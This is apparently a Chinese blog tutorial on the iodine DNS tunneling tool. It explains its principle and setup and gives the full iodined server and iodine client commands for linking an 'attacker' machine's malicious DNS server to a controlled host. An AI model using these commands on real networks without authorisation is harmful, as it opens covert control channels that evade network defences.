『DNS隧道工具集合』— iodine
一、入坑必读
1、简介
因为 iodine(碘)的原子序数为53,这恰好是DNS端口号,故取名为iodine。
iodine基于C语言开发,分为服务端程序 iodined
和客户端程序 iodine
,kali系统已内置。
支持EDNS、base32,base64,base128等多种编码规范,更多使用方法和功能特性请参考官方文档http://code.kryo.se/iodine/
。
使用热度: ★★★★☆
2、专业词
- Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
- 直连模式:客户端直接向指定IP的
恶意DNS服务器
发起DNS解析请求 - 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的
恶意DNS服务器
。相比直连,速度较慢,但是更安全。
3、放哪儿
攻击机 | 被控机 |
---|---|
服务端 | 客户端 | 客户端 | 服务端 |
解释: 环境搭建完成后,由于服务端和客户端会处于同一个局域网,因此两端均可任意放于主控机和被控机上(具体还是得视情况而定)
4、支持Type
- A
- TXT
- CNAME
- MX
- NULL
- SRV
- PRIVATE
5、兼容说明
- 服务端为
Linux
才可使用raw-mode
模式(可启动参数加-r
跳过raw-mode) - 客户端为
Win10
时,环境搭建后,可连接成功,但无法ping通(即不可用!) - 除以上情况,一般均可正常使用
6、全套下载地址
- CSDN:download.csdn.net/download/lo…
二、原理简述
- 通过TAP虚拟网卡(即需要单独安装
tap-driver
),在服务端机器(相应程序iodined
)建立一个局域网(如ip为10.0.0.1); - 客户端机器(相应程序
iodine
)也需要TAP建立虚拟网卡; - DNS隧道流程:
iodine客户端
->DNS服务商
->iodined服务端
- 服务端程序
iodined
提供特定域名的DNS解析服务。当客户端请求该域名的解析,就可以建立通道连接。 - 两者通过DNS隧道,同处于一个局域网(即两张虚拟网卡IP会在同一个局域网)。
因此,正式使用时,需要购买一个域名。并在服务商控制台
配置该域名将NS转由iodined服务端
去解析!
而使用方法就很简单了。由于客户端和服务端都在同一个局域网(说白了,都能ping通),那么只需要直接访问服务端即可。
如3389,就直接mstsc
、10.0.0.1:3389
三、安装使用
1、安装
iodine支持直接转发
和中继
两种模式。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0
的虚拟网卡。
本节使用iodine直连模式建立DNS通道。
准备2台Linux机器,其中一台作为DNS隧道的主控机,另外一台作为被控机。
当然github上也有相应的
windows版
,可以直接开箱即用。不过windows版需先安装TAP。安装方法如下:下载openVPN,安装时仅选择TAP-Win32 driver即可。安装后,可以发现服务器多出一块网卡。
从
https://github.com/yarrick/iodine
上克隆下来,运行make install
以编译服务器和客户端二进制文件。当然也可以直接从上面的下载地址
下载,免去编译,即拿即用编译成功后,把服务端扔到主控机上,输入
iodined --help
验证是否安装成功把客户端扔到被控机上,输入
iodine --help
验证是否安装成功
2、使用
在服务端机器上,执行:
sudo iodined -P 123456 -f -DD 192.168.0.1 abc.com
复制代码
其中:
- abc.com 自定义DNS传输的主域名
- 192.168.0.1 自定义的局域网虚拟IP
- 123456 自定义密码,客户端需要同样密码才能连接
在客户端机器上,执行:
sudo iodine -P 123456 -f -r -T TXT <your iodine server ip> abc.com
复制代码
其中:
- <your iodine server ip> 可选,表示不走
DNS服务商
这一步,直接向iodine服务端
所在的服务器IP
请求DNS解析,即直连
- -r 由于iodine有时可能会自动切换DNS隧道为UDP通道,故该参数作用是:强制在任何情况下使用DNS隧道
- -f 将使客户端保持在前台运行
- -t 使用的DNS类型
『DNS隧道工具集合』— iodine相关推荐
- 『DNS隧道工具』— iodine
一.入坑必读 1.简介 因为 iodine(碘)的原子序数为53,这恰好是DNS端口号,故取名为iodine. iodine基于C语言开发,分为服务端程序 iodined 和客户端程序 iodine, ...
- 『DNS隧道工具』— dns2tcp
一.入坑必读 1.简介 dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发. 使用热度: ★★★★☆ 2.专业词 Type:DNS解析的类型,常见的有:A.CNAME.MX.TX ...
- DNS隧道工具iodine
DNS隧道工具iodine 在受限制的网络中,如果DNS请求没有被限制,就可以通过DNS请求建立隧道而突破网络限制.iodine是Kali Linux提供的一款DNS隧道工具.该工具分为服务器端iod ...
- DNS隧道工具dns2tcp
DNS隧道工具dns2tcp 在很多网络环境中,防火墙会限制出站流量,主机往往只能访问外网主机有限的几个端口,如DNS的53端口.这时,就可以通过DNS请求和响应机制,建立通信隧道.Kali Linu ...
- DNS隧道工具使用 不过其网络传输速度限制较大
DNS隧道工具使用 http://www.freebuf.com/sectool/112076.html http://netsec.ccert.edu.cn/zhengming/2011/11/01 ...
- DNS隧道工具汇总——补充,还有IP over DNS的工具NSTX、Iodine、DNSCat
github上有一堆的工具:https://github.com/search?utf8=%E2%9C%93&q=DNS+tunnel+&type= DNS隧道大检阅 研究了一天的DN ...
- 软件测试之『接口自动化工具盘点』及『项目部署』
目录: 1. 2.1 接口自动化工具 2. 2.2 项目部署 2.1 接口自动化工具 目录: 1. 2.1.1 接口测试工具分类 2. 2.2.2 接口测试工具的不足 2.1.1 接口测试工具分类 用 ...
- dns隧道攻击原理及常用工具流量分析
今天看到一个关于Lyceum组织的文章,这个组织擅长使用dns隧道攻击,这种攻击方式还是头一次听说,于是搜集了一些文章来看看. 原文https://www.cnblogs.com/HighnessDr ...
- 利用DNS隧道绕过上网认证
很久之前写的文章,因为其他平台被和谐了,修改一些内容重新发布,其中使用的软件版本可能比较低. 一.原理 1.1.dns概述 dns协议最基本的作用是将域名映射为ip地址,让我们在访问网页的时候无需记住 ...
最新文章
- 博创提供专业的解决方案---宝钢高炉改造无线监控
- cmake学习(五) 系统默认变量和内置变量
- Spring事务管理(三)-PlatformmTransactionManager解析和事务传播方式原理
- 【数据结构与算法】【算法思想】【算法应用】【排序查找搜索】并行
- 赤虹JSON模块 v1.0 麻雀虽小, 五脏俱全
- c++两个数组对比去掉重复的元素_每日一道 LeetCode (8):删除排序数组中的重复项和移除元素...
- Quartus17下载程序进FPGA
- 一大波Java来袭(四)String类、StringBuilder类、StringBuffer类对照
- LINQ to XML:如何读写XCData
- 怎么查询sybase money列数据长度_用PBI分析上市公司财务数据(一)
- strcpy_s函数
- [转载]八种常见的防盗链方法总结及分析
- 实用:python字符编码之间的转化(来猜猜博主的真实姓名)
- 南华大学计算机系宿舍,2021年南华大学新生宿舍条件和宿舍环境图片
- 几何光学学习笔记(1)- 1.1 几何光学的基本概念和定律
- 浮动IP地址(Float IP)与 ARP欺骗技术
- 郑州大学计算机硕士分数线,郑州大学今年的录取分数线是多少?不同的专业呢...
- 机器学习--sklearn之决策树(分类+回归)
- 在桌面计算机找不到光盘驱动器,我照的婚纱,把光盘放进里面了,打开电脑了,在电脑上找不到相片...
- 电子沙盘系统android,交互式军事电子沙盘系统
热门文章
- java https 网络爬虫_Java 网络爬虫,就是这么的简单
- js转换html为pdf文件怎么打开方式,pdf.js实现在HTML下直接浏览pdf文档,无需插件即可实现...
- dw6能编译asp吗,让Adobe Dreamweaver CC支持ASP
- 启动ipython_ipython,_ipython 启动错误,ipython - phpStudy
- Java isfile()与exists()的区别
- html实现让电脑断网的功能,13. Electron 断网提醒功能的实现
- python的cfg是什么模块_cfg4py:一个严肃的Python配置模块应有的风格-层级式、部署环境自适应、自动补全...
- 关于全国大学生智能汽车竞赛有关问题的建议
- Arduino生成ATmega8的运行程序并下载
- 高压测试平台:高压包产生高电压基本测试参数